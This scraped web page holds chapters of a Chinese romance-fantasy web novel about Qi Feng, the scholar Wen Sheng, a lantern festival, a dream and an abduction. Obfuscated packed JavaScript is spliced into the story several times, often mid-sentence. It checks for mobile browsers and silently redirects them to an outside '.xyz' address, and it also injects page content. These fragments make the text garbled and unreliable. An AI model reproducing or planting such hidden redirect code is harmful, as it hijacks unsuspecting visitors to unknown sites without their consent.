RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078497|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向舞台中央婀娜多姿、妩媚动人?,举手投足间皆是妩媚的红衣姑娘,落下的夜幕明亮的灯光下,红衣姑娘的每一次回眸、拂袖,台下都会连连发出惊叹。 诗诗……是那姑娘本就叫诗诗,还是闻笙叫的亲昵? 闻笙轻车熟路的带我绕到了醉月楼的后门。 进到楼里,这里的人似乎都和闻笙认识,无论杂役姑娘。 醉月楼从外看和普通的酒楼并无差别,进到里面才能一睹它的真容。楼阁游廊,富丽堂皇。垂花门楼,雍容华贵。笙歌不断,酒香四溢。只是置身其中,便觉醉意。 听不懂唱词的曲调悠悠扬扬,歌女富含深情的唱着,像是唱给离别之人,盼归之人。 “醉月楼的老板托我写了首词,正好路过,我进去一趟很快出来。” “没关系,我找个什么地方坐着等你,正好走累了。” 闻笙环顾了一下四周,发现了不远一个无人的凉亭。他拉着我的手走进亭内。 “你在这里等我,我很快回来。” “好。” 望着闻笙匆匆离去的背影,我舒了口气,活动活动有些酸胀的四肢。走了整整三天,从医鹿山到光州,得亏我还有力气继续逛。 “齐风姑娘?” 回过头,亭外不知何时站了一个消瘦的青衣女子执扇而立。 女子见我,扇面在唇边轻掩一笑。款步走向我,围着我绕了一圈,从上到下仔仔细细打量我。 “你就是齐风?我听说你死了。” 女子眉眼如画天生丽质,举手投足间流露出风尘之色。如此妩媚之相,难怪那么多男人倾慕。 是方才台上的诗诗姑娘。 “你认识我?” “当然。” 诗诗摇着手中的团扇,走到我身边,抬起下巴不屑地看了眼我头上的发簪。 “闻公子每次在我这儿喝得淋漓大醉,嘴里念的都是你。” 诗诗刻意用团扇的扇面拍了拍的我肩头。 “能把一个温文尔雅的书生折磨成喝烂醉的酒鬼,你还真有本事。” 面对诗诗的咄咄逼问,我深吸一口气,让自己保持冷静,免得说出粗鄙之语,或者直接上手打人。 “我不知道你在说什么。” 似乎是看我表现得毫无兴趣,诗诗转念一想,凑到我耳畔。 “要不要我告诉你闻公子都跟我说过什么?我和他——” 胭脂水粉味猛地逼近,刺鼻的气味不待嗅而自入鼻中。 “做了什么。” 我皱起眉脑袋别向一边,与她拉开距离。 “不必了。我不认识你,也不知道你在说什么,告辞。” 我转身欲走。身后之人冷呵一声,用她一贯招呼客人的语气同我道别。 “随时光临醉月楼。” 诗诗精致走到我身边,投来鄙夷的目光后,走在我前头。 “你会来找我的。” 我当然不会去找她,我又不认识她。 走出醉月楼,我生怕待会儿闻笙出来找不到我,便四处寻找亮眼易发现的高处。 随后锁定了不远处河道上架起的石桥。桥上似乎没人,闻笙应该很容易就能看到我。 各色的灯火和明月在水面相融,河道里的小船静静地随着水波浮动。我一面欣赏着走上桥,不料桥面上不知何时站了人。 一道挺拔的身影伫立在桥上。他一只手负在身后,另一只手搭在腰间的匕首上,出神地望着天边的明月。 我没再靠近,站在离他稍远的地方。静谧的桥面和远处喧闹的醉月楼形成鲜明的对比。我忍不住看向身边迟迟不动的人。 他在看什么?看得这么入迷?月亮?今天的月亮有什么不同吗? 那人似有所感,朝我的方向看了过来。 我猛然一惊,立马收回视线。 希望他没有发现我一直在看他。 隔了好一会儿,我又看向他,发现他居然在注视着我。 完了……好像闯祸了…… “齐风姑娘!” 我循声而望,是闻笙。 见闻笙朝我走来,我再次去看桥面上的人。 嗯? 不见了? 他……何时离开的? 河道两旁灯火依旧。我走到那人刚才站立的位置左顾右盼,没有寻到他。 彩灯节,光州每年春节后最热闹的节日。原本取名千灯节,又想和本就存在的千灯节做出区别,做出光州自己的特色,于是改名彩灯节。 男男女女会相约走上街头,为自己的心上人挑选一盏彩灯。若是表达爱意之人,会亲手做一盏彩灯。如果喜欢的人收下,则代表两情相悦。如果喜欢的人没有收下,那么这盏灯则会放在河道两旁,寓意让流水带走思念,祈求良缘。 我听着闻笙给我讲述彩灯节的故事,不禁感叹光州的浪漫。 晚风轻轻带着初春的凉,彩灯节的集市上热闹非凡。 路过卖发饰的摊子,我不禁被精美的饰品吸引驻足挑选。 闻笙也拿起一支竹子做的在手中端详,一端雕刻的竹纹和我头上插着的几乎一模一样。 “先生喜欢吗?我送你。” 闻笙笑着摇了摇头,放下手里的发簪。 “不是的。只是想起了过去……” 说话时,他朝我这边看了眼,但不是看我,而是我头上的发簪。 “很像我曾经做过的一支发簪。” 我不由心生敬佩。 “先生还会做发簪呐?” “当时兴起,找师傅学了段时日。” 我眯起眼睛,手肘轻撞他。 “为了送给心上人?” “不是心上人。”闻笙转身,眼中柔情万种,“是我未过门的娘子。” 闻笙的目光凝视着我,轻柔的声音提起过去,恍然间生出一种错觉——他在说我。 他那未过门的娘子——是我。 我手里还拿着摊位上的饰品,不安的心涌动,我摩挲着手中的精致玩意儿,缓缓说出藏匿内心之词。 “闻笙,有件事……我想告诉你。” 我望着闻笙的眼睛,定了定神,缓缓开口—— “你在找的人……可能是我。” 闻笙并不意外我的话,轻轻笑了笑。 “风姑娘何出此言?” 我有些为难地低下头,双手不安地交互揉搓。 “虽然不记得我是不是去过西洲,也不记得自己的名字,甚至连你也不认识……” 我取下头上的神器,发簪上的竹纹被灯火映照散发出光芒。我摩擦着发簪上翠绿的竹叶,对上闻笙没有任何情绪的眼睛。 “这个发簪……是你亲手制作赠予我的吧?” 10. 飞蛾扑火 抵达光州时,我和闻笙先在城中的一间客栈放置行李。偏不凑巧,最近正好赶上光州的彩灯节,客栈家家一房难求。 正好,我也有许多问题想和闻笙说。 至于睡觉的问题……等晚点再担心吧。 见过了光州繁灯,返回客栈时,街上依旧闹腾。好在我们所住的客栈隔了中心街市几条街,还算安静。 “在想什么?” 闻笙不知何时走到我身边,与我并肩而立,站在房间的窗户边眺望光州远处的灯火连天。 “在想那首诗。” “《齐风》?” 我点了点头回应,又看向闻笙轻轻勾起唇角的脸。 “先生现在有空吗?能否教我把那首诗重新写一遍?这次,我想写得稍微能看一点。” “乐意之至。” 客栈房间唯一的桌上,闻笙摆好笔墨纸砚,以及包里随身携带的《诗经》,翻到一页看上去被翻阅了很多次,纸张明显比其他褶皱的一页。 视线被特殊的一页吸引,闻笙摆好书贴进一步,右手覆上我的手背。 “我先教你一遍,然后,你再自己写?” 我感受着他覆在我手背上的温度,同他一起将这首充满往事,初遇时的那份暧昧归于笔墨纸砚。 敞开的窗户不知何时飞了一只飞蛾进屋,在我们眼前晃悠了半天,最后飞向了桌边的烛台。 毫不意外,它义无反顾地直冲向烛台上火光。 我看着烛台油蜡上漂浮着的飞蛾,忽然有些恍惚。 飞蛾扑火……何必呢…… 写字的手慢了下来,闻笙察觉到我的异样,偏过头语带担忧的询问我。 “怎么了?” 我看向他,专注的目光,流畅自然的对话,让我的心蒙上了一层愧疚感。 闻笙歪了歪脑袋,看不懂我的心思,只手抚上我的额头和侧脸。 “生病了?还是走一天累了?我去打热水,你在房间等我。” 看着雀跃离开的背景,我回想起彩灯节集市回来的路上,他和我说起的——关于我们过去的故事。 彩灯会的集市。 我取下头上的神器,发簪上的竹纹被灯火映照散发出光芒。我摩擦着发簪上翠绿的竹叶,对上闻笙没有任何情绪的眼睛。 “这个发簪……是你亲手制作赠予我的吧?” 闻笙没有迟疑,证实了我的猜测。 “嗯。” 交换过眼神,我期待着闻笙能率先打破沉默,问些什么。 良久,无人说话。 摊位的老板看着两个傻愣着盯着对方看的人,赶也不是笑也不是,默默把可移动的摊位推车往一旁挪了挪。 按捺不住好奇心,还是我先说吧。 “你不问我……还记不记得你?” 闻笙浅浅一笑,双手扶着我的肩头将我转了个身,手指轻柔地穿过后颈和头发间的空隙,捞起我的头发熟练地替我重新挽好发髻。 “不问。” “为什么?” 一丝不苟的发髻完成。我抬手摸了摸,居然平滑完整,没有一点毛躁。我一边道谢一边回身。 “你能回来,我已经满足了。” 他盯着我,目光灼热。 微微发热的手掌握住我的手,将我的包裹在掌心。 “在茶馆看到你,我还以为自己出现了错觉。那条官道是去光州的路,我猜想——你是为了履行和我的承诺,是去见我的。本想一路跟着你,护着你,等到了光州再和你相认。奈何我根本等不到那时候,先一步在茶馆假装和你偶遇。” 闻笙伸手拿起身旁摊位上摆放着的一支镶嵌着白色梅花和金色流苏的步摇,问过老板价格后,闻笙付过钱,转头自然地插入刚才他替我梳理整齐的发髻侧边。 贴心的老板还递给我一面镜子,好看。 离开逗留许久的摊位,闻笙领着我继续逛彩灯会。温暖的手掌片刻不离,始终包裹着我的。 “在茶馆坐下后,我同你说话,你的眼神看上去,不像是装作不认识我。数年不见……兴许是真的忘了。” 街市的灯火映照在闻笙的眼眸中,如同夜空的繁星点点,却显得那么寂寞。 我心神一动,共情一般很想伸出双臂紧紧拥住他。 “我们——很久没见吗?” 闻笙沉吟,语气轻描淡写。 “不算太久。五年吧。” 五年不算久吗?若非真的失忆,五年时光,我或许真的会忘了他。 “这五年,你难道一直在光州,同一个地方等我吗?” “在茶馆的时候我不是说了吗。只是五年我走遍无数地方,怎么都找不到一个叫齐风的人。” 有没有可能,除了在这儿,我都不叫齐风。或者说,根本不姓齐。 我垂下头,盯着他牵住我的手。 “抱歉。” 头顶上方之人轻轻笑笑,空出的另一只手理了理我额前略微凌乱的碎发。 “怎么了?这可不像你。” “什么?” “你可从来不说抱歉的话。” “……我这么没礼貌吗?” 闻笙摆摆首。 “不是这个意思。以前的你……” 思索片刻,他淡淡开口。 “很要强。不轻易落泪,不轻易道歉,行侠正义,心软心善。” 然后,温柔的目光转向我。 “是我很喜欢的人。” 故事落幕,闻笙一把将我拥入怀中,我一时惊慌双手不知所措,不敢回应他,只好垂在身侧紧紧抓着裙摆。 “好在我终于等到了你。两千多个日夜,没有白等。” 听着闻笙在我耳边淡淡的话语,我心中微微触动。内心和嘴角不自觉扬起波澜,曾经的我能和闻笙相知相爱,一定很幸福吧。 但是现在,我不是齐风。 我该怎么办,我该怎么告诉他。 回到客栈,我也不得解。 我只是下山寻找九个男人和自己姓名的,并不能和他待太久的时间。但是,我不能直白地跟他讲实话。说什么神像指引我巴拉巴拉的,普通人听了铁定以为我魔怔了吧。 走一步看一步吧,到时候在硬着头皮跑就是了。 逃跑谁不会。 到了最该头疼的时候。 睡觉的问题。 只有一间房一张床,一男一女,怎么办? 按照闻笙的认知,我和他是未婚夫妻,睡一张床并无不妥。但按照我的认知,我和他不过是相识了三天的新友,怎么能睡在一间房一张床呢! 我看着狭小的床陷入沉思。 要不,我睡地上吧。 突然,身旁之人轻轻笑了,我诧异地看向他。 “不必担心。今晚我找别的住处。” 说着,他替我取下头顶插着的步摇。 “你好好休息,明早我来找你。” “这样……可以吗?你真的能找到住处吗?” “我在光州还是有些熟人,不用担心我。赶了三天的路,你也累了,今晚好好休息。” 且相信闻笙的话吧,而且,我是真的累了。 吹灭烛台上的灯,我独自躺在客栈的床上,白色的帷幔放下,狭小的空间里我辗转反侧,无法入睡。 闻笙——有太多疑点了。 他知道我在医鹿山?从什么时候发现我跟着我的?鹿镇吗?他知道我下山,还是知道下山的日子?所以一路跟随到茶馆,上演一出偶遇? 跟踪狂?骗子? 我感觉有点恍惚,一时间很难把这两个词和文弱书生一般的闻笙联系在一起。 他看上去那么弱,皮肤泛白,嘴唇也气血不足的样子,不太可能是坏人。 唉—— 我掀开帷幔,翻身走下床赤脚踩在冰冷的地板上,走到桌边,拿起刚才写下的“齐风”。 齐风……如果闻笙说的是真的,这个名字很可能是我临时编出来的,就因为他问起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我不紧不慢地爬起来,继续朝前走。 直到雪地的尽头,出现了一面结了冰的湖。 湖面的中心站了一抹红色的身影,他背对着我,手里握着长刀。飘落的细碎雪花同呼出的热气,氤氲眼前的画面。 鬼使神差地,我丢下后背披着的大氅,抬脚朝湖心走去。 仿佛有什么人在呼唤我,牵引着我。 “风。” 那声音空灵地回荡在半空。 风骤停,雪也停了。 红色的背影伫立在雪地里,漂浮的红色发带也随风停下。 “风——” “你是……祈源?” 我眨了眨眼,呼脱口而出他的名字。 泪水夺眶而出,步伐不由地加快。可我走得越快,那抹身影似乎离我更远,越来越远。 我停下来,那抹身影才恢复到原本的距离。 “祈源,是你吗?” 那抹背影一动不动。 视线被泪水模糊,大滴的泪水顺着脸颊滑落,落在厚厚的冰面,在脚下泛起涟漪。 我想靠近他。 脚跨出一步,俨然不动的冰面开始破裂,从脚下开始出现裂缝。 我心头一紧——得跑快一点! 我拼了命地跑向他,哪怕他离我越来越远。 只要我跑得够快,总会追上他的! 脚下的裂缝越来越多,起点的位置冰面已经完全破裂,出了一个巨大的窟窿。身后跑过的地方正在被窟窿吞噬。 “祈源——!” 红色的背影随着我脚下的失重感,从冰面上消失。 我坠进无尽寒冷的湖水里,心中的酸涩让我只想哭,无法屏住呼吸。鼻腔和嘴里涌进大量的湖水,窒息的恐惧遏制住我。 救我……谁来……祈源…… 11. 恍若隔世 感觉鼻腔里吸进了冰沁的湖水,五脏六腑开始出现不同程度的痛楚。 四肢的无力感,本就临近崩溃的心彻底崩塌。 湖面上红色的身影摇摇晃晃,好像起风了,他头上的发带又随风舞动。 我努力抬起手,伸向他。 像是感知到我,那抹红色似乎动了动。他微微转身,露出点点脸庞。 我就快看清他的模样了…… 巨大的冰块从上方砸向我,加快了我坠落的速度。 那抹红色彻底消失。 坠入湖底,冰封在水下的暖意更加浓烈,让人不禁闭上双眼沉睡于此。 明明是梦,为什么会那么痛苦。 他到底是谁…… “咳咳——哈——哈——” 我趴在湖边,从阎王手里挣脱开活过来,剧烈的呼吸和咳嗽牵扯着体内的所有器官。 身后的脚步声走得急促,我迅速回过头,满脸凶恶的中年男人毫不犹豫地走近我后一巴掌呼过来,却在与我的脸近在咫尺处停下。 “死一次还不够吗!梦里也死!” 中年男人超怒吼,身体气得发抖,手掌悬在半空,始终下不了手。 我错开充满怒气的视线,有些无措地垂下头认错。 男人一身白色如羽衣一般,周身散发着不同于凡人的气息,同天神降临一般站在我面前,居高临下地怒视我。 “神像?” “哼。” 是他没错了。 “爹!你明明在的,为什么刚才我叫你,你不理我。” “吾不在。” 我无奈苦笑。明明就在的,还救了我。 嘴硬心软的神。 对了,刚才湖面上的人。 我心有余悸地像刚才湖面破裂的地方望去,塌陷的窟窿不见了,湖面上的红色背影也一同消失。 “他已经不在了。” 神像仿佛看穿了我的心思,语气平淡地解释道。 我盯着远处发呆,倏然间,天空又下起了鹅毛大雪。神像手臂一挥,替我“换”掉了湿透的衣服,换上了和他相同的羽衣。 意外的合身,毫无违和感,仿佛这件衣服天生就属于我。 “爹,那个人,到底是谁啊?” “不认识。” 神像一定知道什么,只是他不愿告诉我罢了。 “我上一次梦到他,也没能靠近他。消失以后闻笙出现,告诉我,他已经不在了。这次,我还是没能做到。爹你出现后也说了同样的话——他不在了。你们都认识他?他是谁?” 神像沉默着。并非犹豫该如何告诉我,而是沉默着拒绝回答我。 “你为什么不肯告诉我……” 我似乎听到了神像低声无奈的叹息。 “孩子,你会明白吾的意思。” 说着,神像抬手指尖点上我的额头。 “醒来吧,忘了一切。” 见状不妙,我迅速躲开,旋转着站起身与他保持距离。 “不!我不醒!除非你告诉我!” 我看见神像眼中闪过一丝愤怒,很快又被按捺住。 “任性。” “你不是想当我爹吗!那你告诉我怎么了!” 我彻底失去理智,事态变成什么样已经无关紧要,我一定要知道他是谁。尽管—— “他已经不在了。” 神像又重复了说过的同样的话。语气没有一点气势,冷冷的,像在宣告某个人的死亡。 死亡…… 我怔愣在原地。神像走向我,指尖点上我的额头。 “醒过来吧。以后,也不要在梦到他了。” 太阳又升起,又是新的一天。 我扶着沉重的胸口坐起身,枕头不知怎的湿了一大块,睡前握在手里的神器也不见踪迹。翻遍整个床里里外外都找不见。 “去哪儿了……” 房间恰在这时被扣响,随之传来闻笙的声音。 “风,你醒了吗?” “醒了,你进来吧。” 干脆的脚步声径直走到我身边,俯下身询问正趴在地上在床底下搜寻东西的我。 “在找什么?” 我起身拍着手掌和膝盖处的灰尘。 “没什么……” 见我还披散着头发,闻笙大概是明白了我在找什么。从桌上拿起昨天集市上买的步摇,拉着我坐在木凳上。 木梳轻柔地替我梳理头发,闻笙的动作很轻,完全不会拉扯到我的头发。梳发原来是件享受的事情。 “先生好像很熟练梳理女子的发髻呢?” 我无心调侃,闻笙也听出我没有恶意,含着笑意解释。 “以前每天给你梳头,日渐熟练。” 闻笙的话勾起了我的好奇心,转过头盯着拿梳子的手顿在半路一脸疑惑的人,突然笑了。 “先生今天的任务很繁重哟。” “哦?姑娘此话怎讲?” “不仅要带我逛光州,还要给我讲故事。就从——梳发开始吧。” 酒楼露台,等待美食上桌的时候,我望着黄昏时候的光州,一片略显艳红色的天空。 说书人今天讲的是蓬莱仙岛的故事,台下的听众半信半疑,一派是信神仙的,一派是觉得神话故事都是编造的。 “话说蓬莱仙岛住着一位大仙。大仙有一贪玩的小女儿,独自偷跑下人间,结识了人间一将军的儿子。两人结伴游玩,至传说中可求得起死回生的西洲岛时,大仙的小女儿不慎坠入江底。到了那阴曹地府,阎王爷看在和大仙是老交情,便抹了小女儿的记忆送回人间。大仙一怒之下,觉得是那凡人男子的错,便把男子囚禁在城江府外的花海中。大仙的小女儿也受到了惩罚,永世禁止离开蓬莱仙岛。时至今日,人们行至那片花海时,还能隐约听到男子的哀嚎。渔船在东海上眺望仙岛时,从能看到礁石上坐了一位身着白色羽衣的仙子……” 想不到还是一段凄美的爱情故事。 我也忍不住和闻笙讨论起来。 “先生觉得如何?” “蓬莱仙岛啊……若是真的,我还挺想去见识一番。” “所以先生是信的?” “半信半疑吧。心中多一个寄托,也对未来和未知多一份期待和念想。神仙和仙岛能被人们崇拜和向往,正因如此吧。” 我眨眨眼睛,忽然有点恍惚。 神,应该是存在的。倘若神只是人的意念幻化出的,那神像和我头上的发簪……都是我的幻觉吗? 我晃了晃脑袋,将心中涌起的疑虑抛之脑后。 “你呢?” 轮到闻笙问我。 “我啊——比起信与不信,我更好奇故事里那位仙子现在怎么样了。” 猜到我会得此结论,闻笙了然般笑了笑。我撑着下巴望着台上正说得起劲儿的说书人。 “希望她已经挣脱禁锢,重新回到人间,寻找幸福。” 桌对面传来闻笙沉静的话语。 “倘若,她心里的人始终放不下呢。凡人的寿命有限,恐怕男子早已不在人世。” “正因如此,我希望她重新寻找幸福。人也好,仙也好,总不能被过去困在原地的。” 此话说给自己听,也说给闻笙听。 “今天是我在光州城里的最后一天,明天我得启程回竹村一趟。” “竹村?” “我们初次见面的地方。给孩子们带了书,得回去给他们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078499|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原来他包里满满当当的书都是给村里孩子们准备的。 既然是我生活的地方,自然也跟去看看,寻找线索。 “嗯,我和你一起回去。” 回去路上途径醉月楼。今日依旧热火朝天。忽而想起昨日去楼里的原因,我转身问起闻笙。 “昨天你去醉月楼送词是?” “换取一些生活费。一次偶然,醉月楼的老板看了我写的词,自那以后,会要我定期写一些作品送去。” 我若有所思的点点头。 “我猜那次偶然的机会是诗诗给的吧。她把你的作品给了醉月楼的老板看。” 闻笙垂眸看向我。 “你见过诗诗了?” “嗯。见过了,还说了几句话。” 何止见过了,还被警告了呢。 我屏住呼吸,努力克制自己紧张的心。 有些话,是必须和闻笙说的。未履行的婚约,朝思暮念的爱人……我没办法完成重生前答应他的事情。 “这五年间,你没想过别的?” “什么?” “诗诗喜欢你,你……不会不知道吧?” 我看着身侧之人,沉静的表情里流露出不安。 “我知道。” “她跟你告白了?” “嗯。” 他顿了顿,语气依旧淡淡的。 “我不想对你说谎。那时候我听说你死了,在醉月楼和诗诗喝得大醉,所以……” 我并不打算指责他,反倒表示理解。人最本能的欲望嘛,况且我们没有夫妻之实,我又是“死亡状态”,宣泄欲望是可以原谅的。 能冒出九个男人让我找……我估计也不是什么好东西。 “所以那晚喝醉了,就在醉月楼借宿了一宿。” 闻笙后半句话音落下,我眨巴眨巴眼睛。 “嗯?借宿?” “醉月楼给杂役准备的寝室,在那儿凑合了一夜。” “嗯?嗯?诗诗呢?” “姑娘都有自己的房间,我一男子……也不好打扰吧。” 居然没睡一起吗!搞什么名堂!你是不是男人! 我当然没有说出口。 牵着我的手突然加重力度,苍白的脸上浮出淡淡的忧伤和委屈。 肯定是我刚才说的话伤害到他了! 我咧嘴嘿嘿笑着,晃荡着我们紧握的手。 彩灯节热闹不减。防止走散,闻笙从出酒楼起一直紧紧牵着我的手。 不知哪刮来一阵大风,周围一下乱了,行人和摊主们着急寻找能稳稳抓住的。闻笙毫不迟疑地揽着我的肩膀,将我护在怀中,带着我钻进了最近的巷子中。 “那你呢?你希望我选择其他人吗?” 我抬起头,对上紧贴之人深邃的眼眸。 深吸一口气,如实回答。 “是。” 既然他选择对我毫无保留,那我也应该坦然面对他。 “五年时光太长了,一个人……很寂寞的。一定要说的话,我希望你找到真正的幸福。” “可我真正的幸福,是你。” 他的声音轻轻的,如竹叶一般飘飘荡荡落在我心上。却又同石块沉甸甸的,压在我的心口。 我没敢再说话, “你知道吗,我也想过放弃。无论个盼着你归来的日子,我将思念写在纸上。不知不觉,写了数百首。每次在醉月楼听到她们唱起我写的词,唱着我对你的思念,我都确信——你会回来的。” 我认真地回望着他,想起醉月楼听到的曲调。鼻尖忽然酸酸的,声音也有些颤抖,说不出一个字。只好,用行动回答他。 我抬手捧起他的脸,吻上他惊愕的脸。 12. 春雨迢迢 酒足饭饱后,闻笙说去买明日带回村的东西,我则在店铺门口晃悠。人声鼎沸中,我突然听到了转角处突兀响起的七弦琴琴音。 好像距离我不远的地方。 是街头卖艺吗? 循着声音,最终在转角的巷子里发现了一位正在弹奏七弦琴的姑娘。 她忘我地拨弄琴弦,似乎与这闹市无关,沉浸在自己的世界。 我在她对面的墙根蹲下身,静静聆听。 为什么会选择在这里弹琴呢?等她一曲终了再问吧。 我也渐渐沉浸在她的高山流水间,恍恍惚惚,思绪飘荡。 琴声停下了。 我起身鼓掌,弹琴的姑娘抱着琴起身,颔首致谢。 “姑娘弹得真好。只是,为什么味选择在这里弹琴呢?” 远离主街道的小巷子,漆黑幽深,不像有人会经过的样子。 姑娘弯起眉眼笑道:“为了等齐姑娘啊。” 嗯?她认识我? 突然,一道黑影从巷子深处扑过来,我没来得及闪躲,巨大的冲撞力砸在我的肚子上。我被整个撞翻在地,人还没落稳,后背又是一记重击。 “唔——” 大意了! 是木棍,那人下手之狠,彻底晕过去之前,我好想看到了断裂的木棍落了一半在我面前。 我努力保持清醒,至少冲出巷子呼救。 但来者早有准备,抓住我的双脚不许我离开。只是眨眼的功夫,后背又是一记蛮狠的砸击,我变眼前一黑,失去了意识。 仿佛掉进了什么冰冷潮湿的深井之中。漫长的时间里,我拖拽着丢在一个黑暗的角落,身上被什么黏腻的东西缠绕着爬过,留下带着腥味的液体。 蛇?不对,是什么? 耳边充斥着呜咽声,沙哑的,杂乱的。有孩子的声音,也有女人的声音。或哭或闹,或发出诡异的怒吼,或绝望的悲鸣不绝于耳。 我睁开眼,又好像没有睁开。没有一丝光线的黑暗里,我看不见任何东西。 身上没有缠绕任何枷锁,只留下黏腻恶臭的液体。 我用指尖沾取一点凑到鼻尖,剧烈的恶心感让我险些吐出来。 胃里一阵翻滚,我摸索着附近的墙壁,将手上的东西蹭掉。 我这是在哪儿?身上黏糊糊的到底是什么? 我沿着后背靠着的墙壁摸了一圈周围。无论怎么摸,都是墙,甚至没有门。 如果门不在地面,难道在上方? 我抬头看,压抑的黑暗里,我看不见任何东西。我苦笑一声,突然后背和肚子撕扯着五脏六腑一般疼得让人弯腰也不是直起身板也不是。 下手也太狠了吧! 自救是不可能了,现在是晚上,祈祷着白天能透一线光进来吧。 我按着肚子,费力地在地上摸出一块干燥的区域,侧身躺下。身体痛得厉害,我只好保持冷静减轻痛楚。 保存体力,是我现在唯一能做的。 黑暗中,我又听到了磨人的声音。哭喊声音似乎能听清一些,他们在求饶? 我竖起耳朵,还想听得更清楚一点。 但就在一瞬间,我突然感觉后背被木棍砸中的地方窜起一股灼烧的热意,腹部反而窜起一股凉意,冰火两重在体内交织冲撞,奇怪的感觉席卷而来。 意识到呼吸被打乱,我连忙坐起身子捂住胸口,试着让自己呼吸平复下来。 但除了柳砚清,光凭我自己并不能办到。 呼吸越发急促,我掐着自己的侧腰,刺激自己保持清醒。内脏烧得厉害,我揪着衣领,扯开一点衣襟。待指尖触碰到胸前的皮肤,才发现自己的手却没有温度。 外冷内热?我是生病了吗? 人会在一瞬间,或者受到重创时发烧吗? 有可能。 可接下来身体的状况,让我快速否定了自己是生病发烧。 是身上奇怪的液体的原因吗? 我只好脱掉最外层沾有粘液的衣裳,丢的远一点。也不知道丢哪儿去了。 外面的哀嚎声持续了很长一段时间,耳鸣也越发严重。 闻笙应该已经发现我不在了,应该在找我的路上了…… 我时不时切换姿势,一面忍着皮肉之痛,一面忍者身体异样的感觉。 谁来救我…… 闻笙……你快找到我啊…… 身体的渴望越发高涨,我开始坐不住,右手指甲不断抓绕左手手臂,手指不安分地在全身上下四处抓挠。 不行了…… 五脏六腑灼烧得厉害,手脚却没有一点温度,汗水同水一样从额头涌出顺着脸颊、脖颈、锁骨,打湿胸前整个衣襟处。 谁来救我…… 叮铃—— 呜咽的耳鸣中响起一声不和谐的铃铛声,我打起精神,颤抖的十指仍然抓挠着皮肤。 “闻笙?闻笙是你吗?” 黑暗中无人回应。除了腥味我也闻不到其他味道。 不是闻笙,那是哪里来的铃铛声? 叮铃—— 又是铃铛的声音。 手腕? 我抬起左手手腕,将手腕上柳砚清送我的手链凑到耳边。耳鸣声太吵了,我愣了半晌也听不到任何铃铛声。 “对着手链呼喊我,我会听见。” 柳砚清说过,通过手链我能呼唤他,他能听到。 我抓住救命的稻草,右手死死抓紧颤抖的左手,对着手腕的位置低声呼唤。 “师尊……师尊你能听到吗……” 每一个字我都说得艰难,口中总要不自觉地在字间窜出不堪入耳的呻吟。 “柳……柳砚清……砚清……救我……” 耳边依旧响着若有若无的哀嚎声,婴儿的哭啼声,越听越不真切,忽远忽近。 到底是谁在一直哭…… 我抬手捂住耳边,手在移动中摸到了自己的脸颊,挂满了泪水。 哭的人是我? 我哭什么? 柳砚清真的听到我的声音了吗? 我猫着腰,双手撑在墙壁上,半跪的姿势,额头抵着墙不断喘着热气。汗如雨下,披散的头发几乎湿透,脖颈布满密密麻麻的汗水。 靠人不如靠己。 顾不了太多,我将一只手放在腰上,还没挪到位,一个清冷无奈的声音在身后响起。 “怎么把自己搞得这么狼狈?” 我停下动作,转过身,吃力地抬起头,从他的小腿处视线上移,落在他微微蹙眉的脸上。 嗡鸣声中,我听见衣料摩擦的声音,他在我面前蹲下身,拂去我脸上的狼狈,安慰似的给了我一个亲吻。 “为什么没有第一时间呼唤我?” 出自本能地,我急迫地捧住了他的脸,迎上他的气息主动加深这个吻。 内心的渴望到了极致。 黑暗中我看不清他的脸,却能准确摸索到他的脖颈、锁骨、腰侧。 “师尊……冷……好热啊……” 我贴近他的胸膛,扑面而来的熟悉的药草香笼罩了我,但并未抚平我内心的躁动。 如此近距离下,耳鸣似乎渐渐恢复,柳砚清的呼吸清晰可辨。 冰冷的指尖捏住了我的下巴,温热的唇给我送来了渴望的东西。与此同时,好像有什么被送进口中,强迫我吞下。 应该是药吧。我感觉不到任何味道,无法辨别吞下的是什么,疯长的欲望让我只想赶紧吞下属于柳砚清的味道。 接着,他松开捏住我下巴的手,将我打横抱起,转过身离开了那片没有光的地方。 我终于能看清周围的事物,以及眼前不过一月不见的脸。 受伤的地方没有最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078500|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始那么痛,冰火交融的感觉也好些了。 身体的燥热却只增不减。 柳砚清低头看了我一眼,没有立刻说话。 眼睛落在我的身体上时,眉头微不可见的皱了下。 “怎么不好好穿衣服?” 我眼看着他蹲下身,扶着我的后背和腿弯将我从地上抱起 强烈的热意翻腾,让我不敢开口说话,生怕漏了什么不该发出的声音,只能下意识紧紧环住他的脖子。 